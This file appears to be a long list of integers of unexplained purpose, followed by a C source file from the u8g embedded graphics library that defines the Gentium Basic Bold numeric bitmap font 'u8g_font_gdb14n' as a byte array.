36 37 39 1 6 2 3 4 23 18 39 1 4 2 22 24 39 1 4 2 22 23 39 1 6 2 3 4 33 18 39 1 6 2 3 4 33 34 39 1 6 2 3 32 46 47 39 1 6 2 3 4 44 18 39 1 6 2 3 4 44 24 39 1 6 2 3 43 44 45 39 1 4 51 7 8 9 1 3 51 46 9 1 3 51 46 47 1 4 51 7 36 37 1 3 51 24 37 1 4 51 35 36 37 1 4 51 7 8 10 1 5 51 7 8 9 10 1 3 51 18 10 1 4 51 35 36 10 1 4 51 46 9 10 1 3 51 24 25 1 3 51 46 25 1 2 51 12 1 3 51 24 12 1 3 51 46 12 1 3 51 18 19 1 3 51 46 19 1 5 51 7 8 9 48 1 3 51 18 48 1 4 51 35 36 48 1 4 51 46 47 48 1 5 51 7 8 10 11 1 6 51 7 8 9 10 11 1 4 51 18 10 11 1 5 51 35 36 10 11 1 5 51 35 36 37 11 1 5 51 46 9 10 11 1 6 51 7 8 9 10 26 1 5 51 7 8 25 26 1 3 51 24 26 1 4 51 24 25 26 1 5 51 35 36 37 26 1 4 51 46 25 26 1 3 51 18 39 1 5 51 35 36 37 39 1 6 15 5 6 7 8 9 1 5 15 16 7 8 9 1 4 15 23 8 9 1 2 15 52 1 5 15 5 7 8 37 1 5 15 5 6 18 37 1 4 15 5 24 37 1 5 15 5 46 36 37 1 5 15 16 7 36 37 1 5 15 6 7 36 37 1 4 15 16 18 37 1 4 15 16 35 37 1 6 15 33 34 35 36 37 1 5 15 16 35 36 37 1 6 15 44 45 46 36 37 1 6 15 44 45 35 36 37 1 6 15 44 34 35 36 37 1 4 15 23 8 37 1 5 15 32 7 8 37 1 5 15 32 33 18 37 1 4 15 32 24 37 1 6 15 32 34 35 36 37 1 6 15 32 33 34 36 37 1 4 15 16 34 37 1 5 15 32 46 36 37 1 5 15 43 7 8 37 1 5 15 43 44 18 37 1 5 15 43 44 24 37 1 5 15 16 45 36 37 1 5 15 43 44 45 37 1 6 15 43 45 46 36 37 1 5 15 5 6 18 10 1 6 15 6 7 8 9 10 1 5 15 16 35 9 10 1 4 15 23 8 10 1 6 15 32 7 8 9 10 1 6 15 32 33 34 9 10 1 5 15 32 33 18 10 1 6 15 32 34 35 36 10 1 5 15 43 44 18 10 1 6 15 43 34 35 36 10 1 6 15 43 45 46 9 10 1 5 15 5 7 8 25 1 4 15 5 35 25 1 4 15 6 24 25 1 4 15 16 24 25 1 4 15 16 46 25 1 4 15 23 8 25 1 5 15 32 34 35 25 1 5 15 43 7 8 25 1 4 15 16 45 25 1 5 15 43 34 35 25 1 4 15 5 46 12 1 3 15 16 12 1 5 15 16 35 36 12 1 6 15 32 34 35 36 12 1 4 15 32 46 12 1 5 15 43 44 24 12 1 6 15 43 34 35 36 12 1 4 15 5 35 19 1 4 15 5 46 19 1 4 15 34 18 19 1 3 15 35 19 1 4 15 45 18 19 1 3 15 46 19 1 4 15 23 8 19 1 5 15 32 7 8 19 1 4 15 32 46 19 1 4 15 5 46 48 1 3 15 46 48 1 4 15 32 46 48 1 7 15 16 7 8 9 10 11 1 5 15 7 9 10 11 1 5 15 35 36 10 11 1 5 15 35 36 37 11 1 3 15 47 11 1 7 15 32 33 35 36 37 11 1 5 15 5 6 18 26 1 6 15 5 35 36 37 26 1 6 15 16 7 8 25 26 1 4 15 16 24 26 1 5 15 16 24 25 26 1 5 15 16 46 25 26 1 4 15 23 18 26 1 4 15 23 47 26 1 5 15 32 33 18 26 1 5 15 16 34 25 26 1 5 15 43 44 18 26 1 5 15 16 45 25 26 1 6 15 43 44 46 25 26 1 6 15 5 7 8 9 39 1 4 15 5 24 39 1 6 15 5 35 36 37 39 1 6 15 32 7 8 9 39 1 5 15 32 33 18 39 1 4 15 32 24 39 1 6 15 43 7 8 9 39 1 5 15 43 44 45 39 1 4 41 4 17 9 1 4 41 31 17 9 1 4 41 4 17 47 1 4 41 31 17 47 1 3 41 31 52 1 3 41 42 52 1 5 41 42 23 24 37 1 4 41 4 17 25 1 5 41 4 5 24 25 1 5 41 4 34 35 25 1 4 41 31 17 25 1 5 41 31 32 24 25 1 5 41 42 6 24 25 1 4 41 42 17 25 1 5 41 43 44 24 25 1 6 41 42 43 44 24 25 1 6 41 4 6 7 8 12 1 5 41 42 5 24 12 1 6 41 4 34 35 36 12 1 5 41 16 7 8 12 1 5 41 16 35 36 12 1 4 41 16 46 12 1 5 41 42 23 8 12 1 5 41 42 23 36 12 1 5 41 42 32 24 12 1 5 41 42 44 18 12 1 4 41 43 18 12 1 5 41 42 44 24 12 1 6 41 42 5 7 8 19 1 6 41 42 5 6 18 19 1 5 41 4 34 18 19 1 5 41 4 45 18 19 1 5 41 42 23 18 19 1 6 41 42 32 7 8 19 1 6 41 42 32 33 18 19 1 6 41 42 43 44 34 19 1 6 41 42 43 33 34 19 1 6 41 42 32 33 34 19 1 6 41 31 32 33 34 19 1 6 41 42 32 34 18 19 1 5 41 31 45 18 19 1 5 41 43 44 18 19 1 6 41 42 43 44 18 19 1 6 41 42 43 44 45 19 1 5 41 43 34 18 19 1 6 41 42 43 34 35 19 1 6 41 42 43 34 18 19 1 5 41 43 45 18 19 1 6 41 42 43 45 46 19 1 6 41 42 43 45 18 19 1 6 41 16 7 8 9 48 1 4 41 16 18 48 1 4 41 16 24 48 1 5 41 16 35 36 48 1 4 41 16 46 48 1 6 41 31 32 33 34 48 1 6 41 43 7 8 9 48 1 6 41 42 43 45 9 48 1 5 41 42 44 18 48 1 6 41 43 34 35 36 48 1 6 41 43 44 35 36 48 1 7 41 42 43 44 46 47 48 1 7 41 42 43 44 45 47 48 1 7 41 42 43 6 9 10 11 1 7 41 42 43 6 18 10 11 1 6 41 42 5 24 10 11 1 7 41 42 5 35 36 37 11 1 7 41 42 5 46 9 10 11 1 5 41 16 24 10 11 1 6 41 42 23 18 10 11 1 6 41 42 23 36 37 11 1 7 41 42 43 33 34 9 11 1 8 41 42 43 44 34 9 10 11 1 8 41 42 43 33 34 9 10 11 1 8 41 42 32 33 34 9 10 11 1 7 41 42 43 33 18 10 11 1 6 41 42 32 24 10 11 1 7 41 42 32 46 9 10 11 1 7 41 42 43 7 9 10 11 1 7 41 43 44 8 9 10 11 1 7 41 43 44 45 9 10 11 1 5 41 42 43 45 11 1 6 41 42 44 24 10 11 1 7 41 42 44 45 36 37 11 1 8 41 42 43 44 45 36 37 11 1 4 41 43 37 11 1 7 41 42 44 46 9 10 11 1 7 41 42 43 44 45 47 11 1 6 41 4 5 24 25 26 1 4 41 16 18 26 1 4 41 16 24 26 1 6 41 31 32 24 25 26 1 7 41 42 43 44 34 25 26 1 7 41 42 43 33 34 25 26 1 7 41 42 32 33 34 25 26 1 7 41 31 32 33 34 25 26 1 7 41 42 43 7 8 25 26 1 7 41 42 43 44 8 25 26 1 6 41 42 44 9 10 26 1 6 41 43 44 24 25 26 1 7 41 42 43 44 45 25 26 1 6 41 42 44 45 37 26 1 7 41 42 43 44 46 25 26 1 7 41 42 5 7 8 9 39 1 6 41 42 43 6 18 39 1 5 41 42 5 24 39 1 7 41 42 5 35 36 37 39 1 6 41 16 7 8 9 39 1 4 41 16 18 39 1 4 41 16 24 39 1 6 41 16 35 36 37 39 1 6 41 42 23 8 9 39 1 6 41 42 23 36 37 39 1 7 41 42 32 7 8 9 39 1 6 41 42 43 33 18 39 1 5 41 42 32 24 39 1 6 41 42 44 8 9 39 1 5 41 42 44 24 39 1 7 41 42 44 35 36 37 39 1 7 41 42 43 45 36 37 39 1 6 41 43 44 45 37 39 1 4 30 4 17 9 1 4 30 4 17 47 1 4 30 31 17 47 1 3 30 4 52 1 3 30 31 52 1 4 30 4 17 25 1 5 30 4 5 24 25 1 5 30 4 5 6 25 1 5 30 4 34 35 25 1 5 30 32 7 8 25 1 5 30 31 6 24 25 1 4 30 31 17 25 1 5 30 31 32 34 25 1 5 30 32 33 34 25 1 5 30 31 32 24 25 1 5 30 32 34 35 25 1 5 30 43 7 8 25 1 5 30 43 44 24 25 1 5 30 43 34 35 25 1 6 30 4 6 7 8 12 1 5 30 31 5 24 12 1 6 30 4 34 35 36 12 1 5 30 16 7 8 12 1 5 30 16 35 36 12 1 4 30 16 46 12 1 5 30 31 23 8 12 1 5 30 31 23 36 12 1 6 30 31 32 33 34 12 1 5 30 31 33 18 12 1 4 30 32 18 12 1 4 30 32 24 12 1 5 30 31 44 18 12 1 5 30 31 44 24 12 1 6 30 31 5 7 8 19 1 6 30 31 5 6 18 19 1 5 30 4 34 18 19 1 5 30 4 45 18 19 1 5 30 31 23 8 19 1 5 30 31 23 18 19 1 5 30 32 33 18 19 1 6 30 31 32 33 18 19 1 6 30 31 32 33 34 19 1 5 30 32 34 18 19 1 6 30 31 32 34 35 19 1 6 30 31 32 34 18 19 1 5 30 31 45 18 19 1 5 30 43 44 18 19 1 5 30 43 34 18 19 1 5 30 43 45 18 19 1 6 30 16 7 8 9 48 1 4 30 16 18 48 1 4 30 16 24 48 1 5 30 16 35 36 48 1 4 30 16 46 48 1 6 30 31 23 8 9 48 1 5 30 31 33 18 48 1 4 30 32 24 48 1 6 30 32 34 35 36 48 1 6 30 31 32 46 47 48 1 5 30 31 44 18 48 1 6 30 43 34 35 36 48 1 7 30 31 32 6 18 10 11 1 6 30 31 5 24 10 11 1 7 30 31 5 46 9 10 11 1 5 30 16 24 10 11 1 6 30 31 23 18 10 11 1 6 30 31 23 36 37 11 1 5 30 31 23 47 11 1 6 30 32 33 8 9 11 1 7 30 31 32 7 9 10 11 1 7 30 31 33 34 9 10 11 1 7 30 32 33 34 36 10 11 1 7 30 31 44 8 9 10 11 1 7 30 31 32 45 9 10 11 1 7 30 43 44 45 9 10 11 1 6 30 31 44 24 10 11 1 7 30 31 44 46 9 10 11 1 6 30 4 5 24 25 26 1 4 30 16 18 26 1 4 30 16 24 26 1 7 30 31 32 7 8 25 26 1 7 30 31 32 33 8 25 26 1 6 30 32 33 34 10 26 1 6 30 31 32 24 25 26 1 7 30 31 32 33 34 25 26 1 7 30 31 32 33 35 25 26 1 6 30 31 32 34 37 26 1 5 30 31 46 47 26 1 6 30 43 44 24 25 26 1 7 30 31 5 7 8 9 39 1 6 30 31 32 6 18 39 1 5 30 31 5 24 39 1 7 30 31 5 35 36 37 39 1 5 30 31 5 6 39 1 6 30 16 7 8 9 39 1 4 30 16 18 39 1 4 30 16 24 39 1 6 30 31 23 8 9 39 1 6 30 32 7 8 9 39 1 6 30 31 33 8 9 39 1 6 30 31 33 34 9 39 1 4 30 32 24 39 1 6 30 31 33 34 37 39 1 6 30 31 32 33 34 39 1 6 30 43 7 8 9 39 1 5 30 31 44 24 39 1 5 30 31 44 45 39 1 6 30 31 44 46 47 39 1 4 3 4 17 47 1 3 3 4 52 1 5 3 5 7 8 25 1 5 3 5 6 8 25 1 6 3 4 6 7 8 25 1 5 3 4 6 24 25 1 5 3 4 5 24 25 1 6 3 4 5 6 7 25 1 5 3 43 44 24 25 1 6 3 4 5 6 46 25 1 6 3 4 5 45 46 25 1 5 3 43 45 46 25 1 5 3 5 7 8 12 1 5 3 4 5 8 12 1 5 3 4 6 7 12 1 5 3 4 6 18 12 1 4 3 5 18 12 1 5 3 4 23 18 12 1 5 3 4 23 36 12 1 5 3 32 7 8 12 1 5 3 4 33 18 12 1 6 3 32 34 35 36 12 1 5 3 43 7 8 12 1 6 3 4 5 6 46 12 1 6 3 4 5 45 46 12 1 6 3 4 44 45 46 12 1 5 3 4 44 18 12 1 5 3 4 44 24 12 1 6 3 43 34 35 36 12 1 5 3 5 6 18 19 1 6 3 4 5 6 18 19 1 6 3 4 5 6 7 19 1 5 3 4 45 18 19 1 5 3 4 23 8 19 1 5 3 4 23 18 19 1 5 3 4 33 34 19 1 5 3 32 34 18 19 1 6 3 4 5 6 46 19 1 6 3 4 5 45 46 19 1 6 3 4 44 45 46 19 1 6 3 43 44 45 46 19 1 5 3 43 34 18 19 1 5 3 43 45 18 19 1 5 3 4 6 18 48 1 5 3 4 17 9 48 1 5 3 4 33 18 48 1 6 3 4 5 6 35 48 1 5 3 4 44 18 48 1 5 3 4 44 24 48 1 6 3 4 5 6 46 48 1 6 3 4 23 18 10 11 1 6 3 4 23 36 37 11 1 6 3 4 44 24 10 11 1 7 3 5 7 8 9 10 26 1 7 3 4 5 7 9 10 26 1 6 3 4 5 24 25 26 1 6 3 5 35 36 37 26 1 6 3 4 6 36 37 26 1 7 3 4 5 6 36 37 26 1 5 3 5 46 25 26 1 5 3 4 46 47 26 1 6 3 4 23 36 37 26 1 7 3 32 7 8 9 10 26 1 7 3 4 33 35 36 37 26 1 5 3 32 46 25 26 1 7 3 43 7 8 9 10 26 1 6 3 43 44 24 25 26 1 7 3 4 5 45 46 25 26 1 7 3 43 44 45 46 25 26 1 6 3 4 44 46 25 26 1 6 3 5 7 8 9 39 1 6 3 5 35 36 37 39 1 6 3 4 5 7 37 39 1 6 3 4 5 6 37 39 1 6 3 4 23 8 9 39 1 6 3 4 23 36 37 39 1 6 3 32 7 8 9 39 1 6 3 4 5 6 35 39 1 6 3 4 5 34 35 39 1 6 3 4 33 34 35 39 1 6 3 32 33 34 35 39 1 6 3 43 7 8 9 39 1 6 3 43 44 45 46 39 1 6 3 4 44 46 47 39 1 3 22 17 47 1 2 22 52 1 3 22 17 25 1 4 22 33 8 25 1 4 22 33 35 25 1 4 22 6 18 12 1 4 22 6 36 12 1 5 22 34 35 36 12 1 4 22 23 35 12 1 5 22 33 34 35 12 1 4 22 33 18 12 1 5 22 33 35 36 12 1 4 22 45 36 12 1 3 22 17 19 1 4 22 23 18 19 1 4 22 34 18 19 1 4 22 45 18 19 1 4 22 6 18 48 1 4 22 6 36 48 1 4 22 17 9 48 1 3 22 17 48 1 4 22 7 47 48 1 4 22 34 47 48 1 4 22 46 47 48 1 4 22 33 18 48 1 5 22 33 34 35 48 1 4 22 45 9 48 1 4 22 45 36 48 1 5 22 6 8 9 11 1 5 22 17 9 10 11 1 4 22 17 37 11 1 5 22 23 35 10 11 1 4 22 6 47 26 1 5 22 23 8 25 26 1 4 22 33 47 26 1 4 22 45 47 26 1 3 22 17 39 1 6 22 33 35 36 37 39 1 4 22 23 35 39 1 4 42 43 17 9 1 2 42 52 1 4 42 23 36 10 1 5 42 5 6 7 25 1 4 42 32 24 25 1 5 42 6 7 8 25 1 3 42 17 25 1 4 42 44 24 25 1 5 42 43 44 24 25 1 5 42 5 7 8 12 1 5 42 43 6 7 12 1 5 42 43 6 18 12 1 5 42 32 7 8 12 1 5 42 43 33 18 12 1 6 42 32 34 35 36 12 1 6 42 43 44 45 46 12 1 4 42 44 18 12 1 5 42 5 6 18 19 1 5 42 32 33 34 19 1 4 42 44 8 19 1 6 42 43 44 45 46 19 1 5 42 43 44 18 19 1 4 42 44 35 19 1 5 42 43 45 18 19 1 5 42 43 6 18 48 1 5 42 43 33 18 48 1 4 42 32 46 48 1 4 42 7 47 48 1 5 42 23 8 9 11 1 5 42 44 8 9 11 1 5 42 43 44 46 11 1 7 42 5 7 8 9 10 26 1 6 42 43 6 7 25 26 1 6 42 5 35 36 37 26 1 5 42 5 46 25 26 1 6 42 23 8 9 10 26 1 4 42 23 18 26 1 4 42 23 47 26 1 7 42 32 7 8 9 10 26 1 5 42 32 46 25 26 1 7 42 43 7 8 9 10 26 1 6 42 43 7 8 25 26 1 7 42 43 44 45 9 10 26 1 6 42 43 44 24 25 26 1 7 42 43 44 45 46 25 26 1 6 42 44 35 36 37 26 1 5 42 44 46 25 26 1 5 42 43 46 47 26 1 6 42 5 7 8 9 39 1 6 42 5 35 36 37 39 1 6 42 32 7 8 9 39 1 6 42 43 44 34 35 39 1 6 42 43 33 34 35 39 1 6 42 32 33 34 35 39 1 4 42 44 18 39 1 6 42 44 35 36 37 39 1 4 31 32 17 9 1 2 31 52 1 4 31 23 36 10 1 5 31 5 7 8 25 1 4 31 32 17 25 1 5 31 6 7 8 25 1 5 31 32 33 46 25 1 5 31 5 7 8 12 1 5 31 32 6 7 12 1 5 31 32 6 18 12 1 4 31 5 24 12 1 4 31 23 8 12 1 5 31 32 34 35 12 1 4 31 33 18 12 1 4 31 44 18 12 1 5 31 5 6 18 19 1 4 31 33 8 19 1 4 31 33 35 19 1 4 31 44 8 19 1 5 31 32 6 18 48 1 4 31 5 6 48 1 4 31 33 34 48 1 5 31 23 8 9 11 1 5 31 33 8 9 11 1 6 31 32 34 35 10 11 1 5 31 33 34 35 11 1 5 31 44 8 9 11 1 5 31 44 45 9 11 1 6 31 32 33 46 10 11 1 5 31 32 45 46 11 1 7 31 5 7 8 9 10 26 1 6 31 32 33 7 25 26 1 6 31 5 35 36 37 26 1 5 31 5 46 25 26 1 4 31 23 18 26 1 4 31 23 47 26 1 6 31 33 8 9 10 26 1 7 31 32 7 8 9 10 26 1 6 31 32 33 8 25 26 1 7 31 32 33 34 9 10 26 1 7 31 32 33 34 35 10 26 1 6 31 33 35 36 37 26 1 4 31 33 47 26 1 4 31 46 47 26 1 6 31 44 8 9 10 26 1 6 31 44 35 36 37 26 1 5 31 44 46 25 26 1 6 31 5 7 8 9 39 1 6 31 5 35 36 37 39 1 4 31 33 18 39 1 6 31 33 35 36 37 39 1 6 31 32 33 34 35 39 1 5 31 44 8 9 39 1 4 31 44 18 39 1 6 31 44 35 36 37 39 1 2 4 52 1 4 4 23 18 10 1 4 4 6 24 25 1 3 4 17 25 1 4 4 5 24 25 1 5 4 44 45 46 25 1 5 4 5 7 8 12 1 4 4 6 18 12 1 5 4 5 6 24 12 1 4 4 23 24 12 1 4 4 23 36 12 1 5 4 5 34 35 12 1 5 4 33 35 36 12 1 5 4 5 45 46 12 1 4 4 44 18 12 1 5 4 44 35 36 12 1 4 4 6 8 19 1 5 4 5 6 18 19 1 4 4 6 7 19 1 4 4 44 8 19 1 4 4 44 45 19 1 4 4 44 35 19 1 4 4 44 46 19 1 6 4 5 7 8 9 48 1 6 4 5 6 7 9 48 1 4 4 6 36 48 1 5 4 5 46 47 48 1 4 4 17 18 48 1 5 4 5 6 24 48 1 4 4 23 24 48 1 4 4 44 46 48 1 4 4 44 45 48 1 5 4 6 8 9 11 1 5 4 5 7 9 11 1 5 4 6 7 9 11 1 5 4 7 8 9 11 1 5 4 23 8 9 11 1 6 4 5 6 24 10 11 1 5 4 23 24 10 11 1 5 4 33 8 9 11 1 5 4 33 34 10 11 1 5 4 5 34 35 11 1 4 4 33 47 11 1 5 4 44 8 9 11 1 6 4 44 45 46 10 11 1 5 4 5 45 46 11 1 7 4 5 7 8 9 10 26 1 7 4 5 6 7 9 10 26 1 5 4 6 36 37 26 1 6 4 5 35 36 37 26 1 6 4 5 6 36 37 26 1 4 4 6 47 26 1 5 4 5 6 47 26 1 4 4 23 18 26 1 4 4 23 47 26 1 6 4 33 35 36 37 26 1 4 4 33 47 26 1 4 4 44 24 26 1 6 4 5 6 46 25 26 1 6 4 44 35 36 37 26 1 6 4 5 6 7 9 39 1 4 4 6 18 39 1 6 4 5 35 36 37 39 1 5 4 5 7 8 39 1 4 4 17 9 39 1 4 4 17 37 39 1 4 4 17 18 39 1 4 4 23 24 39 1 4 4 33 18 39 1 6 4 33 35 36 37 39 1 4 4 44 18 39 1 6 4 44 35 36 37 39 1 3 16 17 25 1 3 16 24 12 1 4 16 34 36 12 1 4 16 45 36 12 1 3 16 17 19 1 3 16 18 19 1 4 16 7 9 48 1 4 16 7 47 48 1 4 16 35 36 48 1 4 16 46 47 48 1 4 16 34 36 48 1 4 16 45 9 48 1 4 16 45 36 48 1 5 16 17 9 10 11 1 4 16 17 18 11 1 4 16 7 37 26 1 6 16 7 8 9 10 26 1 4 16 46 47 26 1 4 16 24 10 26 1 4 16 45 47 26 1 4 16 7 37 39 1 3 16 24 39 1 4 43 44 24 25 1 5 43 44 7 8 12 1 4 43 6 18 12 1 5 43 44 34 35 12 1 4 43 33 18 12 1 4 43 44 7 19 1 3 43 17 19 1 4 43 33 8 19 1 4 43 33 35 19 1 4 43 34 35 19 1 4 43 17 18 48 1 4 43 45 9 48 1 4 43 44 9 48 1 4 43 45 36 48 1 4 43 45 46 48 1 5 43 6 8 9 11 1 5 43 44 45 8 11 1 5 43 6 7 8 11 1 5 43 33 8 9 11 1 6 43 44 45 35 10 11 1 6 43 44 45 46 36 11 1 5 43 44 8 9 11 1 5 43 44 45 9 11 1 6 43 6 8 9 10 26 1 5 43 6 7 25 26 1 5 43 6 36 37 26 1 4 43 6 47 26 1 6 43 33 35 36 37 26 1 4 43 33 47 26 1 6 43 7 8 9 10 26 1 4 43 44 24 26 1 5 43 45 46 25 26 1 5 43 45 36 37 26 1 6 43 44 35 36 37 26 1 6 43 44 45 36 37 26 1 4 43 45 47 26 1 5 43 44 45 47 26 1 5 43 6 8 9 39 1 4 43 6 18 39 1 4 43 17 37 39 1 4 43 17 18 39 1 4 43 33 18 39 1 6 43 33 35 36 37 39 1 6 43 44 45 35 36 39 1 4 43 44 18 39 1 6 43 44 35 36 37 39 1 3 32 17 25 1 5 32 33 7 8 12 1 4 32 6 18 12 1 5 32 33 34 35 12 1 4 32 33 18 12 1 4 32 6 8 19 1 4 32 7 8 19 1 4 32 34 35 19 1 4 32 17 18 48 1 4 32 34 9 48 1 4 32 34 47 48 1 4 32 34 35 48 1 4 32 46 47 48 1 4 32 33 47 48 1 4 32 45 9 48 1 4 32 45 36 48 1 5 32 6 8 9 11 1 5 32 6 7 9 11 1 5 32 33 8 9 11 1 5 32 33 34 9 11 1 6 32 33 34 9 10 11 1 6 32 33 34 36 10 11 1 6 32 6 8 9 10 26 1 5 32 6 7 25 26 1 5 32 6 36 37 26 1 4 32 6 47 26 1 6 32 7 8 9 10 26 1 5 32 7 8 25 26 1 6 32 33 35 36 37 26 1 6 32 33 34 36 37 26 1 6 32 33 34 35 37 26 1 5 32 45 46 25 26 1 5 32 45 36 37 26 1 4 32 45 47 26 1 5 32 6 8 9 39 1 4 32 6 18 39 1 5 32 33 7 8 39 1 4 32 17 37 39 1 4 32 17 18 39 1 4 32 33 18 39 1 6 32 33 35 36 37 39 1 5 5 6 7 8 12 1 4 5 6 24 12 1 4 5 7 9 48 1 4 5 7 8 48 1 4 5 6 47 48 1 4 5 46 47 48 1 4 5 34 9 48 1 4 5 34 35 48 1 4 5 45 9 48 1 5 5 6 8 9 11 1 5 5 6 7 9 11 1 5 5 7 8 9 11 1 4 5 7 37 11 1 5 5 6 7 36 11 1 6 5 6 8 9 10 26 1 6 5 6 7 9 10 26 1 6 5 7 8 9 10 26 1 5 5 6 7 25 26 1 5 5 6 36 37 26 1 5 5 35 36 37 26 1 5 5 34 36 37 26 1 5 5 45 46 25 26 1 5 5 6 46 47 26 1 5 5 45 36 37 26 1 4 5 45 47 26 1 4 5 6 18 39 1 5 5 6 7 9 39 1 5 5 7 8 9 39 1 6 5 6 7 8 9 39 1 5 5 6 35 36 39 1 4 23 8 9 10 1 3 23 18 12 1 3 23 36 12 1 3 23 8 19 1 3 23 18 19 1 4 23 8 10 11 1 4 23 8 9 11 1 4 23 36 10 11 1 4 23 35 37 11 1 4 23 8 10 26 1 4 23 24 10 26 1 4 23 35 10 26 1 3 23 47 39 1 4 44 45 18 12 1 3 44 18 19 1 4 44 7 9 48 1 4 44 7 8 48 1 4 44 34 9 48 1 4 44 34 35 48 1 4 44 45 47 48 1 4 44 46 47 48 1 4 44 45 46 48 1 5 44 7 8 9 11 1 4 44 24 10 11 1 4 44 18 10 11 1 4 44 46 37 11 1 4 44 24 10 26 1 5 44 45 46 25 26 1 4 44 46 47 26 1 5 44 45 46 47 26 1 5 44 45 46 9 39 1 5 44 7 8 9 39 1 3 44 24 39 1 5 44 45 35 36 39 1 4 33 7 9 48 1 4 33 7 8 48 1 4 33 8 9 48 1 4 33 34 35 48 1 3 33 47 48 1 5 33 34 8 10 11 1 5 33 34 35 9 11 1 4 33 24 10 11 1 5 33 34 35 36 11 1 5 33 35 36 37 11 1 4 33 46 37 11 1 4 33 24 10 26 1 5 33 35 36 37 26 1 4 33 34 47 26 1 4 33 34 18 39 1 3 6 18 19 1 4 6 8 9 48 1 4 6 7 8 48 1 5 6 7 8 9 11 1 4 6 24 10 11 1 4 6 35 37 11 1 4 6 46 37 11 1 4 6 24 10 26 1 4 6 7 47 26 1 5 6 7 8 9 39 1 3 6 24 39 1 4 6 35 36 39 1 2 52 11 1 2 52 26 1 2 52 39 1 3 17 9 39 1 3 17 37 39 1 3 17 18 39 1 3 17 47 39 1 4 45 35 37 11 1 4 45 36 37 11 1 4 45 46 47 26 1 4 45 8 9 39 1 4 45 35 36 39 1 4 34 36 37 11 1 5 34 8 10 11 38 1 4 34 8 12 38 1 5 34 35 9 26 38 1 5 34 35 9 10 38 1 4 34 8 9 38 1 5 34 35 9 39 38 1 4 34 8 48 38 1 4 34 18 11 38 1 4 34 18 12 38 1 4 34 18 26 38 1 4 34 35 19 38 1 4 34 18 19 38 1 4 34 18 39 38 1 4 34 18 48 38 1 4 34 36 11 38 1 5 34 35 10 11 38 1 4 34 35 12 38 1 4 34 36 26 38 1 5 34 35 36 26 38 1 4 34 36 37 38 1 5 34 35 36 37 38 1 4 34 36 39 38 1 5 34 35 36 39 38 1 4 34 47 26 38 1 4 34 47 48 38 1 5 34 35 36 48 38 1 4 34 47 39 38 1 4 7 9 11 38 1 4 7 8 12 38 1 4 7 9 26 38 1 5 7 8 10 11 38 1 6 7 8 9 10 11 38 1 4 7 9 10 38 1 4 7 9 39 38 1 5 7 8 9 39 38 1 4 7 8 19 38 1 6 7 8 9 10 26 38 1 5 7 8 25 26 38 1 4 7 36 11 38 1 4 7 36 26 38 1 4 7 36 37 38 1 4 7 36 39 38 1 4 7 47 26 38 1 5 7 8 9 48 38 1 4 7 47 39 38 1 4 24 10 11 38 1 3 24 12 38 1 3 24 26 38 1 4 24 25 26 38 1 3 24 48 38 1 3 24 39 38 1 4 46 9 11 38 1 4 46 9 26 38 1 5 46 9 10 11 38 1 4 46 9 39 38 1 3 46 19 38 1 4 46 25 26 38 1 4 46 36 11 38 1 4 46 36 26 38 1 4 46 36 39 38 1 3 46 12 38 1 4 46 47 26 38 1 4 46 47 48 38 1 4 46 47 39 38 1 3 46 48 38 1 4 35 9 11 38 1 4 35 9 26 38 1 5 35 9 10 11 38 1 4 35 36 10 38 1 4 35 9 39 38 1 3 35 19 38 1 5 35 36 37 26 38 1 3 35 12 38 1 4 35 36 37 38 1 3 35 48 38 1 5 35 36 37 39 38 1 3 8 12 38 1 4 8 9 26 38 1 4 8 10 11 38 1 5 8 9 10 11 38 1 3 8 48 38 1 3 8 19 38 1 4 8 25 26 38 1 4 8 9 39 38 1 4 18 10 11 38 1 3 18 12 38 1 3 18 26 38 1 3 18 19 38 1 3 18 39 38 1 3 18 37 38 1 3 18 48 38 1 3 47 26 38 1 3 47 48 38 1 3 47 39 38 1 4 36 37 11 38 1 4 36 37 26 38 1 3 36 37 38 1 4 36 37 39 38 1 3 9 11 38 1 3 9 26 38 1 4 9 10 11 38 1 3 9 39 38 1 3 25 26 38 1 2 19 38 1 3 37 26 38 1 2 37 38 1 3 37 39 38 1 3 10 11 38 1 2 12 38 1 2 48 38 1 2 11 38 1 2 26 38 1 2 39 38
{ "pile_set_name": "Github" }
/* Fontname: -FreeType-Gentium Basic-Bold-R-Normal--23-230-72-72-P-114-ISO10646-1 Copyright: Copyright (c) SIL International, 2003-2008. Capital A Height: 0, '1' Height: 14 Calculated Max Values w=11 h=22 x= 2 y= 8 dx=12 dy= 0 ascent=18 len=44 Font Bounding box w=36 h=33 x=-12 y=-8 Calculated Min Values x= 0 y=-4 dx= 0 dy= 0 Pure Font ascent =14 descent= 0 X Font ascent =14 descent= 0 Max Font ascent =18 descent=-4 */ #include "u8g.h" const u8g_fntpgm_uint8_t u8g_font_gdb14n[464] U8G_FONT_SECTION("u8g_font_gdb14n") = { 0,36,33,244,248,14,0,0,0,0,42,58,0,18,252,14, 0,9,10,20,10,1,8,24,0,24,0,219,0,255,128,60, 0,62,0,255,0,219,0,24,0,24,0,8,8,8,10,1, 2,24,24,24,255,24,24,24,24,4,7,7,6,1,252,48, 240,48,48,32,96,64,7,1,1,8,1,5,254,4,3,3, 6,1,0,96,240,224,11,22,44,11,0,252,0,96,0,192, 0,192,1,128,1,128,3,128,3,0,3,0,7,0,6,0, 6,0,12,0,12,0,28,0,24,0,24,0,56,0,48,0, 48,0,96,0,96,0,192,0,10,14,28,12,1,0,30,0, 51,0,97,128,97,128,225,192,225,192,225,192,225,192,225,192, 225,192,97,128,97,128,51,0,30,0,8,14,14,12,2,0, 8,120,248,24,24,24,24,24,24,24,24,24,24,255,8,14, 14,11,2,0,62,103,227,195,3,6,4,12,24,48,33,65, 255,255,9,14,28,11,1,0,30,0,99,0,227,0,67,0, 3,0,6,0,31,0,7,128,3,128,1,128,1,128,1,128, 67,0,190,0,10,14,28,12,1,0,1,0,7,0,7,0, 15,0,27,0,19,0,51,0,99,0,99,0,255,192,3,0, 3,0,3,0,15,192,9,14,28,12,1,0,63,128,63,0, 32,0,96,0,96,0,126,0,67,0,1,128,1,128,1,128, 1,128,1,128,195,0,62,0,10,14,28,12,1,0,7,0, 28,0,48,0,96,0,64,0,223,0,225,128,192,192,192,192, 192,192,192,192,96,128,49,128,30,0,10,14,28,12,1,0, 127,192,255,128,129,128,129,128,3,0,3,0,2,0,6,0, 6,0,12,0,12,0,24,0,56,0,48,0,9,14,28,11, 1,0,62,0,113,128,241,128,241,128,249,128,127,0,63,0, 63,128,99,128,193,128,193,128,193,128,99,0,62,0,10,14, 28,12,1,0,31,0,35,128,65,128,192,192,192,192,192,192, 192,192,97,192,62,192,0,128,1,128,3,0,14,0,56,0, 4,10,10,6,1,0,224,240,96,0,0,0,0,96,240,224 };
